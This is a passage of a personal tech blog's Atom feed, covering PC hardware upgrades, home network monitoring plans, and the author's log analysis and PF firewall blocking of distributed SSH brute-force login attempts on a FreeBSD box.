motherboard/CPU combo and it'll more than likely be a quad-core CPU that I'll be getting (Phenom):&lt;br /&gt;&lt;br /&gt;(Intel) http://www.newegg.com/Product/ComboDealDetails.aspx?ItemList=Combo.152153&lt;br /&gt;&lt;br /&gt;or&lt;br /&gt;&lt;br /&gt;(AMD) http://www.newegg.com/Product/ComboDealDetails.aspx?ItemList=Combo.150323&lt;br /&gt;&lt;br /&gt;EDIT - I ended up purchasing a &lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.newegg.com/Product/Product.aspx?Item=N82E16813186149"&gt;&lt;span style="font-weight: bold;"&gt;Foxconn A79A-S AM2+/AM2 AMD 790FX ATX AMD Motherboard&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;a href="http://www.newegg.com/Product/Product.aspx?Item=N82E16813186149"&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;and a &lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.newegg.com/Product/Product.aspx?Item=N82E16819103471"&gt;&lt;span style="font-weight: bold;"&gt;Retail AMD Phenom II X4 940 Deneb 3.0GHz 4 x 512KB L2 Cache CPU &lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;and basically rebuilt this system...it is SMOKING.  I was gaming and installing game patches for another game AND XP updates, and only two cores were being used while two were idle!!  I put 3GB of RAM into the system (I almost put 4GB but then realized that XP 32-bit would only see 3GB of it...time for a 64-bit Windows OS install, I think).  I really should install some high-grade RAM, though, as I think I only have 667mhz installed.&lt;br /&gt;&lt;br /&gt;I also bought a&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.newegg.com/Product/Product.aspx?Item=N82E16813138122"&gt;&lt;span style="font-size:100%;"&gt;BIOSTAR TForce TP43D2A7 LGA 775 Intel P43 ATX Intel Motherboard&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;for to replace the motherboard for the Pentium-D CPU...I'll use this motherboard and CPU to rebuild my old Sempron 3000+ system (I'm starting to stack up 'older' motherboards and CPUs).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13095995-3582239116703254910?l=slackfiles.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://slackfiles.blogspot.com/feeds/3582239116703254910/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13095995&amp;postID=3582239116703254910' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/3582239116703254910'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/3582239116703254910'/><link rel='alternate' type='text/html' href='http://slackfiles.blogspot.com/2009/01/system-dead.html' title='System dead'/><author><name>Ron</name><uri>http://www.blogger.com/profile/07368326205701250122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='22' src='http://1.bp.blogspot.com/_DYU25XfzLMA/SO00DtFzyLI/AAAAAAAAAD0/hvwkeHA-Ijo/S220/fail-owned-dingleberry-name-fail.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13095995.post-4105931320852878570</id><published>2009-01-07T23:25:00.004-05:00</published><updated>2009-01-08T12:31:23.059-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='grep logs'/><category scheme='http://www.blogger.com/atom/ns#' term='Snort'/><category scheme='http://www.blogger.com/atom/ns#' term='LAN'/><category scheme='http://www.blogger.com/atom/ns#' term='BASH'/><category scheme='http://www.blogger.com/atom/ns#' term='IDS'/><category scheme='http://www.blogger.com/atom/ns#' term='ethernet-tap'/><category scheme='http://www.blogger.com/atom/ns#' term='memory'/><category scheme='http://www.blogger.com/atom/ns#' term='perl'/><category scheme='http://www.blogger.com/atom/ns#' term='tap'/><category scheme='http://www.blogger.com/atom/ns#' term='ethernet'/><category scheme='http://www.blogger.com/atom/ns#' term='Linode.com'/><category scheme='http://www.blogger.com/atom/ns#' term='TigerDirect'/><category scheme='http://www.blogger.com/atom/ns#' term='RAM'/><title type='text'>Recent Happenings</title><content type='html'>I've added 2 more GB to my gaming system (the Ultra that I bought from TigerDirect 2 yrs ago).  The system now has a total of 4GB.  It runs Windows XP, so its only seeing 3.25GB of the installed 4GB, as I'm running XP 32-bit.  I need to either go to Vista or install XP 64-bit.  I may just wait until the new version of Windows desktop is released.&lt;br /&gt;&lt;br /&gt;I've also begun to (again) monitor my internal LAN traffic at home.  I broke down my security systems this past Fall because I bought a house and had to move.  I wanted to reinstall my external IDS but didn't want to run an ethernet tap yet, so I used the same machine to just log internal traffic for now.  Later, I'll have this machine start a separate Snort process that will monitor external traffic via the tap.&lt;br /&gt;&lt;br /&gt;I need to upgrade my Slackware boxes to v12.2.  The current boxes are running v12.0, including my Linode (&lt;a href="http://wigglit.ath.cx/"&gt;http://wigglit.ath.cx&lt;/a&gt;).  I'll try to do this soon, although this will require upgrading from v12.o to v12.1, then v12.1 to v12.2.&lt;br /&gt;&lt;br /&gt;I'll also begin to attempt to convert all (which isn't many) my BASH scripts that manipulate text (FW log parsing scripts and such) to Perl.  This is mainly as an exercise to force myself to learn Perl.  I could also do Python.  This is an educational 2009 goal for me.  :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13095995-4105931320852878570?l=slackfiles.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://slackfiles.blogspot.com/feeds/4105931320852878570/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13095995&amp;postID=4105931320852878570' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/4105931320852878570'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/4105931320852878570'/><link rel='alternate' type='text/html' href='http://slackfiles.blogspot.com/2009/01/recent-happenings.html' title='Recent Happenings'/><author><name>Ron</name><uri>http://www.blogger.com/profile/07368326205701250122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='22' src='http://1.bp.blogspot.com/_DYU25XfzLMA/SO00DtFzyLI/AAAAAAAAAD0/hvwkeHA-Ijo/S220/fail-owned-dingleberry-name-fail.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13095995.post-9007140845381802128</id><published>2008-12-29T23:09:00.001-05:00</published><updated>2009-03-10T19:07:20.674-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='bzgrep'/><category scheme='http://www.blogger.com/atom/ns#' term='ssh'/><category scheme='http://www.blogger.com/atom/ns#' term='auth.log'/><category scheme='http://www.blogger.com/atom/ns#' term='bruteforce'/><title type='text'>Distributed SSH Brute Force Attempts, part 3</title><content type='html'>I wanted to be able to harvest the log data that the brute force attempts are generating, so I've decided to not move the SSH listening port.  I'm also logging each event within my firewall logs.  The particular machine I'm seeing the attacks on is a FreeBSD box (I should've mentioned that earlier) and I'm using PF as the firewall of choice.&lt;br /&gt;&lt;br /&gt;I'd like to show you my listing of blocked IPs.  I've been actively gathering them since approximately 11/17/2008.  I was unhappy that I hadn't noticed the distributed attempts until November and wanted more trending data, so I reached into my SSH logs and parsed the files present with a very dirty script that added each unique IP to a PF table that is designed to block such activity.  The script is below:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;&lt;br /&gt;[root@delly ~]# cat IPscript&lt;br /&gt;#/bin/bash&lt;br /&gt;&lt;br /&gt;cd /var/log&lt;br /&gt;bunzip2 pflog.*&lt;br /&gt;&lt;br /&gt;cat /var/log/auth.log | grep sshd | grep -i 'invalid user' &gt; /tmp/auth_IP_list_1&lt;br /&gt;bzcat /var/log/auth.log.[01234567].bz2 | grep sshd| grep -i 'invalid user' &gt;&gt; /tmp/auth_IP_list_1&lt;br /&gt;sed '/Failed keyboard-interactive/d' /tmp/auth_IP_list_1 &gt; /tmp/auth_IP_list_2&lt;br /&gt;awk '{print $10}' /tmp/auth_IP_list_2 &gt; /tmp/auth_IP_list_3&lt;br /&gt;&lt;br /&gt;tcpdump -nettttr /var/log/pflog &gt; /tmp/fw_IP_list_1&lt;br /&gt;tcpdump -nettttr /var/log/pflog.0 &gt;&gt; /tmp/fw_IP_list_1&lt;br /&gt;awk '{print $9}' /tmp/fw_IP_list_1 &gt; /tmp/fw_IP_list_2&lt;br /&gt;nawk -F. '{print $1, $2, $3, $4}' /tmp/fw_IP_list_2 &gt; /tmp/fw_IP_list_3&lt;br /&gt;sed 's/ /./g' /tmp/fw_IP_list_3 &gt; /tmp/fw_IP_list_4&lt;br /&gt;&lt;br /&gt;cat /tmp/fw_IP_list_4 &gt;&gt; /tmp/auth_IP_list_4&lt;br /&gt;cat /tmp/auth_IP_list_4 | sort -rn | uniq &gt; /tmp/auth_IP_list_5&lt;br /&gt;cat /tmp/auth_IP_list_5 | grep -v '64.62.231.220' &gt; /tmp/auth_IP_list_6&lt;br /&gt;cat /tmp/auth_IP_list_6 | grep -v '66.160.141.30' &gt; /tmp/auth_IP_list_7&lt;br /&gt;cat /tmp/auth_IP_list_7 | grep -v '10.150.1' &gt; /tmp/auth_IP_list_8&lt;br /&gt;cat /tmp/auth_IP_list_8&lt;br /&gt;cat /tmp/auth_IP_list_8 | wc -l&lt;br /&gt;&lt;br /&gt;pfctl -t bruteforce -T add -f /tmp/auth_IP_list_8&lt;br /&gt;&lt;br /&gt;rm -rf /tmp/fw_IP_list_* /tmp/auth_IP_list_*&lt;br /&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;I apologize for the lack of comments in the script...as I said, it was an extremely dirty hack that required me to learn a tad of sed and awk.  The script outputs the following file:  &lt;a href="http://wigglit.ath.cx/txt/bruteforce_IPtable"&gt;http://wigglit.ath.cx/txt/bruteforce_IPtable&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;My logs don't actually go back that far.  The FW logs go back to 14 Dec.  The SSH service logs go back to 26 Nov.  I probably have captured IPs reaching back to the beginning of November, though.&lt;br /&gt;&lt;br /&gt;My FW policy prevents anything from entering the network unless specifically allowed (default deny policy).  The reason I wanted to track the IPs was because my Denyhosts configuration wasn't catching most of these and it was working fine before this new trend occurred.  I'm a security consultant and a researcher at heart, so I thought that tracking this would be cool.  My home router has ports 22, 443, and 3306 exposed to the wild for the FreeBSD box.  The FW only allows certain IPs in on those ports, though, so nothing will get in.  The activity that doesn't get immediately blocked is blocked by the bruteforce_IPtable script that I run daily.  The script is flawless and I will begin to have it run hourly via a cronjob.  I'll also have it send an updated list to my website daily.&lt;br /&gt;&lt;br /&gt;The IPs within my block table number 565.  The script parsed 115 from the logs tonight, but only added 1 IP.  The norm is usually 2-3 daily.  The rest of the IPs are from logs over the last month and a half.&lt;br /&gt;&lt;br /&gt;Oh yeah, I've another script does a daily copy of the IPs that are added to the table, so I can at least quickly determine (using 'diff') what was added on a certain day.  I can create a script that will show me what was added daily for a given timespan (day/week/month).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13095995-9007140845381802128?l=slackfiles.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://slackfiles.blogspot.com/feeds/9007140845381802128/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13095995&amp;postID=9007140845381802128' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/9007140845381802128'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/9007140845381802128'/><link rel='alternate' type='text/html' href='http://slackfiles.blogspot.com/2008/12/distributed-ssh-brute-force-attempts.html' title='Distributed SSH Brute Force Attempts, part 3'/><author><name>Ron</name><uri>http://www.blogger.com/profile/07368326205701250122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='22' src='http://1.bp.blogspot.com/_DYU25XfzLMA/SO00DtFzyLI/AAAAAAAAAD0/hvwkeHA-Ijo/S220/fail-owned-dingleberry-name-fail.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13095995.post-2116735211943452166</id><published>2008-11-24T22:10:00.001-05:00</published><updated>2008-11-24T22:38:13.108-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Fail2ban'/><category scheme='http://www.blogger.com/atom/ns#' term='Denyhosts'/><category scheme='http://www.blogger.com/atom/ns#' term='bzgrep'/><category scheme='http://www.blogger.com/atom/ns#' term='ssh'/><category scheme='http://www.blogger.com/atom/ns#' term='auth.log'/><category scheme='http://www.blogger.com/atom/ns#' term='bruteforce'/><title type='text'>Distributed SSH Brute Force Attempts, part 2</title><content type='html'>OK, so I'm still curious about the distributed SSH brute force attempts I've been seeing.&lt;br /&gt;&lt;br /&gt;I wanted to check all my logs and not just the most recent logfile.  Looking at my /var/log directory:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;-su-2.05b# ls | grep auth&lt;br /&gt;auth.log&lt;br /&gt;auth.log.0.bz2&lt;br /&gt;auth.log.1.bz2&lt;br /&gt;auth.log.2.bz2&lt;br /&gt;auth.log.3.bz2&lt;br /&gt;auth.log.4.bz2&lt;br /&gt;auth.log.5.bz2&lt;br /&gt;auth.log.6.bz2&lt;br /&gt;auth.log.7.bz2&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;I tailed the auth.log file and grabbed a random IP:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;Nov 24 21:53:59 delly sshd[75490]: Invalid user bryan from 170.56.255.20&lt;br /&gt;Nov 24 21:54:00 delly sshd[75490]: error: PAM: authentication error for illegal user bryan from 170.56.255.20&lt;br /&gt;Nov 24 21:54:00 delly sshd[75490]: Failed keyboard-interactive/pam for invalid user bryan from 170.56.255.20 port 43229 ssh2&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;I then wanted to check all the auth.log.* files, but was curious as to how I could check compressed files.  I found that there's a command called bzgrep that allows one to grep compressed files, so I used the following command and came up with quite a few hits for the referenced IP over seven (7) log files:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;-su-2.05b# bzgrep '170.56.255.20' auth.log.*&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;The results show 2-3 instances of log entries per login attempt, so I wanted to isolate each instance without having to use arcane sed and sort commands, so I used the following:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;-su-2.05b# bzgrep '170.56.255.20' auth.log.* | grep 'Invalid user' | wc -l&lt;br /&gt;      19&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;So, this particular IP generated 19 log entries between 22 and 24 Nov.&lt;br /&gt;&lt;br /&gt;That's not particularly good.  I'd love to create a script that would break down all of these IPs' unique login attempts (and possibly block them).  Sounds like a project, no?  :)&lt;br /&gt;&lt;br /&gt;I've a bit of time, so I did the following (non-scripted).  I cat'd the auth.log file and collected a screens-worth of data:&lt;br /&gt;&lt;br /&gt;-su-2.05b# cat auth.log | less&lt;br /&gt;Nov 24 15:00:00 delly newsyslog[74001]: logfile turned over due to size&gt;100K&lt;br /&gt;Nov 24 15:00:49 delly sshd[74014]: Invalid user brand from 218.80.215.198&lt;br /&gt;Nov 24 15:00:50 delly sshd[74014]: error: PAM: authentication error for illegal user brand from 218.80.215.198&lt;br /&gt;Nov 24 15:00:50 delly sshd[74014]: Failed keyboard-interactive/pam for invalid user brand from 218.80.215.198 port 19051 ssh2&lt;br /&gt;Nov 24 15:02:25 delly sshd[74017]: Invalid user brandee from 83.19.224.11&lt;br /&gt;Nov 24 15:02:26 delly sshd[74017]: error: PAM: authentication error for illegal user brandee from dum11.internetdsl.tpnet.pl&lt;br /&gt;Nov 24 15:02:26 delly sshd[74017]: Failed keyboard-interactive/pam for invalid user brandee from 83.19.224.11 port 50163 ssh2&lt;br /&gt;Nov 24 15:03:48 delly sshd[74020]: Invalid user brandee from 194.224.118.61&lt;br /&gt;Nov 24 15:03:48 delly sshd[74020]: error: PAM: authentication error for illegal user brandee from 194.224.118.61&lt;br /&gt;Nov 24 15:03:48 delly sshd[74020]: Failed keyboard-interactive/pam for invalid user brandee from 194.224.118.61 port 6345 ssh2&lt;br /&gt;Nov 24 15:05:21 delly sshd[74026]: Invalid user brandee from 90.176.233.222&lt;br /&gt;Nov 24 15:05:22 delly sshd[74026]: error: PAM: authentication error for illegal user brandee from 222.233.broadband9.iol.cz&lt;br /&gt;Nov 24 15:05:22 delly sshd[74026]: Failed keyboard-interactive/pam for invalid user brandee from 90.176.233.222 port 46108 ssh2&lt;br /&gt;Nov 24 15:06:42 delly sshd[74029]: Invalid user branden from 125.77.106.246&lt;br /&gt;Nov 24 15:06:42 delly sshd[74029]: error: PAM: authentication error for illegal user branden from 125.77.106.246&lt;br /&gt;Nov 24 15:06:42 delly sshd[74029]: Failed keyboard-interactive/pam for invalid user branden from 125.77.106.246 port 46495 ssh2&lt;br /&gt;Nov 24 15:10:59 delly sshd[74035]: Invalid user brandi from 122.224.128.222&lt;br /&gt;Nov 24 15:10:59 delly sshd[74035]: error: PAM: authentication error for illegal user brandi from 122.224.128.222&lt;br /&gt;Nov 24 15:10:59 delly sshd[74035]: Failed keyboard-interactive/pam for invalid user brandi from 122.224.128.222 port 42253 ssh2&lt;br /&gt;Nov 24 15:12:27 delly sshd[74051]: Invalid user brandi from 59.125.200.51&lt;br /&gt;Nov 24 15:12:28 delly sshd[74051]: error: PAM: authentication error for illegal user brandi from 3w.upcc.com.tw&lt;br /&gt;Nov 24 15:12:28 delly sshd[74051]: Failed keyboard-interactive/pam for invalid user brandi from 59.125.200.51 port 14046 ssh2&lt;br /&gt;Nov 24 15:15:23 delly sshd[74057]: Invalid user brandice from 62.112.222.88&lt;br /&gt;Nov 24 15:15:24 delly sshd[74057]: error: PAM: authentication error for illegal user brandice from 3e70de58.adsl.enternet.hu&lt;br /&gt;Nov 24 15:15:24 delly sshd[74057]: Failed keyboard-interactive/pam for invalid user brandice from 62.112.222.88 port 42127 ssh2&lt;br /&gt;Nov 24 15:16:49 delly sshd[74060]: Invalid user brandice from 218.80.215.198&lt;br /&gt;Nov 24 15:16:50 delly sshd[74060]: error: PAM: authentication error for illegal user brandice from 218.80.215.198&lt;br /&gt;Nov 24 15:16:50 delly sshd[74060]: Failed keyboard-interactive/pam for invalid user brandice from 218.80.215.198 port 57929 ssh2&lt;br /&gt;Nov 24 15:18:11 delly sshd[74063]: Invalid user brandice from 65.203.231.41&lt;br /&gt;Nov 24 15:18:11 delly sshd[74063]: error: PAM: authentication error for illegal user brandice from 65.203.231.41&lt;br /&gt;Nov 24 15:18:11 delly sshd[74063]: Failed keyboard-interactive/pam for invalid user brandice from 65.203.231.41 port 38395 ssh2&lt;br /&gt;Nov 24 15:19:43 delly sshd[74066]: Invalid user brandie from 123.14.10.64&lt;br /&gt;Nov 24 15:19:44 delly sshd[74066]: error: PAM: authentication error for illegal user brandie from 123.14.10.64&lt;br /&gt;Nov 24 15:19:44 delly sshd[74066]: Failed keyboard-interactive/pam for invalid user brandie from 123.14.10.64 port 4925 ssh2&lt;br /&gt;Nov 24 15:21:07 delly sshd[74072]: Invalid user brandie from 200.170.141.134&lt;br /&gt;Nov 24 15:21:07 delly sshd[74072]: error: PAM: authentication error for illegal user brandie from 200-170-141-134.static.ctbctelecom.com.br&lt;br /&gt;Nov 24 15:21:07 delly sshd[74072]: Failed keyboard-interactive/pam for invalid user brandie from 200.170.141.134 port 39979 ssh2&lt;br /&gt;Nov 24 15:22:44 delly sshd[74088]: Invalid user brandie from 80.51.31.84&lt;br /&gt;Nov 24 15:22:44 delly sshd[74088]: error: PAM: authentication error for illegal user brandie from 80.51.31.84&lt;br /&gt;Nov 24 15:22:44 delly sshd[74088]: Failed keyboard-interactive/pam for invalid user brandie from 80.51.31.84 port 39453 ssh2&lt;br /&gt;Nov 24 15:24:02 delly sshd[74091]: Invalid user brandon from 200.157.176.13&lt;br /&gt;Nov 24 15:24:03 delly sshd[74091]: error: PAM: authentication error for illegal user brandon from 200.157.176.13&lt;br /&gt;Nov 24 15:24:03 delly sshd[74091]: Failed keyboard-interactive/pam for invalid user brandon from 200.157.176.13 port 54638 ssh2&lt;br /&gt;&lt;br /&gt;I then checked every IP for unique log entries within all of my ssh logs:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;-su-2.05b# bzgrep '218.80.215.198' auth.log.* | grep 'Invalid user' | wc -l&lt;br /&gt;       6&lt;br /&gt;&lt;br /&gt;-su-2.05b# bzgrep '218.80.215.198' auth.log.* | grep 'Invalid user'        &lt;br /&gt;auth.log.0.bz2:Nov 24 10:55:25 delly sshd[73084]: Invalid user bjorn from 218.80.215.198&lt;br /&gt;auth.log.1.bz2:Nov 23 23:22:28 delly sshd[70023]: Invalid user bahari from 218.80.215.198&lt;br /&gt;auth.log.3.bz2:Nov 23 11:18:54 delly sshd[66908]: Invalid user archibald from 218.80.215.198&lt;br /&gt;auth.log.4.bz2:Nov 23 04:11:52 delly sshd[65051]: Invalid user amy from 218.80.215.198&lt;br /&gt;auth.log.5.bz2:Nov 22 23:20:53 delly sshd[63465]: Invalid user alize from 218.80.215.198&lt;br /&gt;auth.log.7.bz2:Nov 22 01:07:10 delly sshd[57652]: Invalid user claire from 218.80.215.198&lt;br /&gt;&lt;br /&gt;-su-2.05b# bzgrep '83.19.224.11' auth.log.* | grep 'Invalid user' | wc -l&lt;br /&gt;       8&lt;br /&gt;-su-2.05b# bzgrep '194.224.118.61' auth.log.* | grep 'Invalid user' | wc -l&lt;br /&gt;      11&lt;br /&gt;-su-2.05b# bzgrep '90.176.233.222' auth.log.* | grep 'Invalid user' | wc -l&lt;br /&gt;       0&lt;br /&gt;-su-2.05b# bzgrep '125.77.106.246' auth.log.* | grep 'Invalid user' | wc -l&lt;br /&gt;       9&lt;br /&gt;-su-2.05b# bzgrep '122.224.128.222' auth.log.* | grep 'Invalid user' | wc -l&lt;br /&gt;       8&lt;br /&gt;-su-2.05b# bzgrep '59.125.200.51' auth.log.* | grep 'Invalid user' | wc -l&lt;br /&gt;       5&lt;br /&gt;-su-2.05b# bzgrep '62.112.222.88' auth.log.* | grep 'Invalid user' | wc -l&lt;br /&gt;      10&lt;br /&gt;-su-2.05b# bzgrep '218.80.215.198' auth.log.* | grep 'Invalid user' | wc -l&lt;br /&gt;       6&lt;br /&gt;-su-2.05b# bzgrep '65.203.231.41' auth.log.* | grep 'Invalid user' | wc -l&lt;br /&gt;      15&lt;br /&gt;&lt;br /&gt;-su-2.05b# bzgrep '65.203.231.41' auth.log.* | grep 'Invalid user'        &lt;br /&gt;auth.log.0.bz2:Nov 24 14:56:28 delly sshd[73982]: Invalid user bran from 65.203.231.41&lt;br /&gt;auth.log.1.bz2:Nov 23 22:32:01 delly sshd[69793]: Invalid user azra from 65.203.231.41&lt;br /&gt;auth.log.1.bz2:Nov 24 02:04:43 delly sshd[70680]: Invalid user bartholemew from 65.203.231.41&lt;br /&gt;auth.log.1.bz2:Nov 24 04:07:45 delly sshd[71474]: Invalid user beck from 65.203.231.41&lt;br /&gt;auth.log.2.bz2:Nov 23 19:02:03 delly sshd[68866]: Invalid user aurora from 65.203.231.41&lt;br /&gt;auth.log.2.bz2:Nov 23 20:16:18 delly sshd[69213]: Invalid user avi from 65.203.231.41&lt;br /&gt;auth.log.3.bz2:Nov 23 10:08:33 delly sshd[66592]: Invalid user april from 65.203.231.41&lt;br /&gt;auth.log.3.bz2:Nov 23 10:24:43 delly sshd[66657]: Invalid user aquila from 65.203.231.41&lt;br /&gt;auth.log.3.bz2:Nov 23 11:22:12 delly sshd[66933]: Invalid user archie from 65.203.231.41&lt;br /&gt;auth.log.4.bz2:Nov 23 04:22:52 delly sshd[65094]: Invalid user anahid from 65.203.231.41&lt;br /&gt;auth.log.4.bz2:Nov 23 05:32:46 delly sshd[65407]: Invalid user andra from 65.203.231.41&lt;br /&gt;auth.log.5.bz2:Nov 22 23:00:09 delly sshd[63393]: Invalid user alisha from 65.203.231.41&lt;br /&gt;auth.log.6.bz2:Nov 22 12:41:17 delly sshd[60534]: Invalid user abraham from 65.203.231.41&lt;br /&gt;auth.log.6.bz2:Nov 22 16:14:07 delly sshd[61564]: Invalid user africa from 65.203.231.41&lt;br /&gt;auth.log.7.bz2:Nov 22 11:48:33 delly sshd[60289]: Invalid user aaralyn from 65.203.231.41&lt;br /&gt;&lt;br /&gt;-su-2.05b# bzgrep '123.14.10.64' auth.log.* | grep 'Invalid user' | wc -l&lt;br /&gt;      19&lt;br /&gt;-su-2.05b# bzgrep '200.170.141.134' auth.log.* | grep 'Invalid user' | wc -l&lt;br /&gt;       6&lt;br /&gt;-su-2.05b# bzgrep '80.51.31.84' auth.log.* | grep 'Invalid user' | wc -l&lt;br /&gt;       3&lt;br /&gt;-su-2.05b# bzgrep '200.157.176.13' auth.log.* | grep 'Invalid user' | wc -l&lt;br /&gt;       4&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;So, someone appears to have a pool of compromised machines and is using each one in a scaled SSH brute force attack, based on the referenced user accounts being bruteforced.  I'm seeing more of this than standard, blatant SSH BF attempts.  I'll be checking Denyhosts' website to see if they've a resolution on how to track and ban such activity.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13095995-2116735211943452166?l=slackfiles.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://slackfiles.blogspot.com/feeds/2116735211943452166/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13095995&amp;postID=2116735211943452166' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/2116735211943452166'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/2116735211943452166'/><link rel='alternate' type='text/html' href='http://slackfiles.blogspot.com/2008/11/distributed-ssh-brute-force-attempts_24.html' title='Distributed SSH Brute Force Attempts, part 2'/><author><name>Ron</name><uri>http://www.blogger.com/profile/07368326205701250122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='22' src='http://1.bp.blogspot.com/_DYU25XfzLMA/SO00DtFzyLI/AAAAAAAAAD0/hvwkeHA-Ijo/S220/fail-owned-dingleberry-name-fail.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13095995.post-2094458305626098931</id><published>2008-11-23T15:48:00.001-05:00</published><updated>2009-06-06T23:55:26.420-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='scripts'/><category scheme='http://www.blogger.com/atom/ns#' term='ssh'/><category scheme='http://www.blogger.com/atom/ns#' term='bruteforce'/><title type='text'>Distributed SSH Brute Force Attempts?</title><content type='html'>I'd read not long ago on the ISC Diary that someone has noticed that a there's a newly discovered way to avoid automated tools such as Denyhosts and Fail2ban.  It appears that the attacks are now distributed across an IP pool of compromised machines.  Maybe botnet masters are leveraging their botnets to attempt to bruteforce login attempts without risking the attacking hosts.&lt;br /&gt;&lt;br /&gt;I think I'm seeing this in my home firewall logs:&lt;br /&gt;&lt;br /&gt;Nov 23 15:23:01 delly sshd[67946]: error: PAM: authentication error for illegal user artois from 1-1-4-27a.vhe.sth.bostream.se&lt;br /&gt;Nov 23 15:23:01 delly sshd[67946]: Failed keyboard-interactive/pam for invalid user artois from 82.182.188.187 port 35763 ssh2&lt;br /&gt;Nov 23 15:24:18 delly sshd[67949]: Invalid user arty from 58.26.48.162&lt;br /&gt;Nov 23 15:24:18 delly sshd[67949]: error: PAM: authentication error for illegal user arty from 58.26.48.162&lt;br /&gt;Nov 23 15:24:18 delly sshd[67949]: Failed keyboard-interactive/pam for invalid user arty from 58.26.48.162 port 5785 ssh2&lt;br /&gt;Nov 23 15:25:17 delly sshd[67955]: Invalid user arty from 200.170.141.134&lt;br /&gt;Nov 23 15:25:17 delly sshd[67955]: error: PAM: authentication error for illegal user arty from 200-170-141-134.static.ctbctelecom.com.br&lt;br /&gt;Nov 23 15:25:17 delly sshd[67955]: Failed keyboard-interactive/pam for invalid user arty from 200.170.141.134 port 57360 ssh2&lt;br /&gt;Nov 23 15:26:31 delly sshd[67958]: Invalid user arty from 219.76.222.27&lt;br /&gt;Nov 23 15:26:31 delly sshd[67958]: error: PAM: authentication error for illegal user arty from n219076222027.netvigator.com&lt;br /&gt;Nov 23 15:26:31 delly sshd[67958]: Failed keyboard-interactive/pam for invalid user arty from 219.76.222.27 port 47176 ssh2&lt;br /&gt;Nov 23 15:28:48 delly sshd[67963]: Invalid user arva from 58.196.4.2&lt;br /&gt;Nov 23 15:28:49 delly sshd[67963]: error: PAM: authentication error for illegal user arva from 58.196.4.2&lt;br /&gt;Nov 23 15:28:49 delly sshd[67963]: Failed keyboard-interactive/pam for invalid user arva from 58.196.4.2 port 50637 ssh2&lt;br /&gt;Nov 23 15:33:27 delly sshd[67982]: Invalid user arvid from 125.77.106.246&lt;br /&gt;Nov 23 15:33:27 delly sshd[67982]: error: PAM: authentication error for illegal user arvid from 125.77.106.246&lt;br /&gt;Nov 23 15:33:27 delly sshd[67982]: Failed keyboard-interactive/pam for invalid user arvid from 125.77.106.246 port 51673 ssh2&lt;br /&gt;Nov 23 15:34:40 delly sshd[67985]: Invalid user arvin from 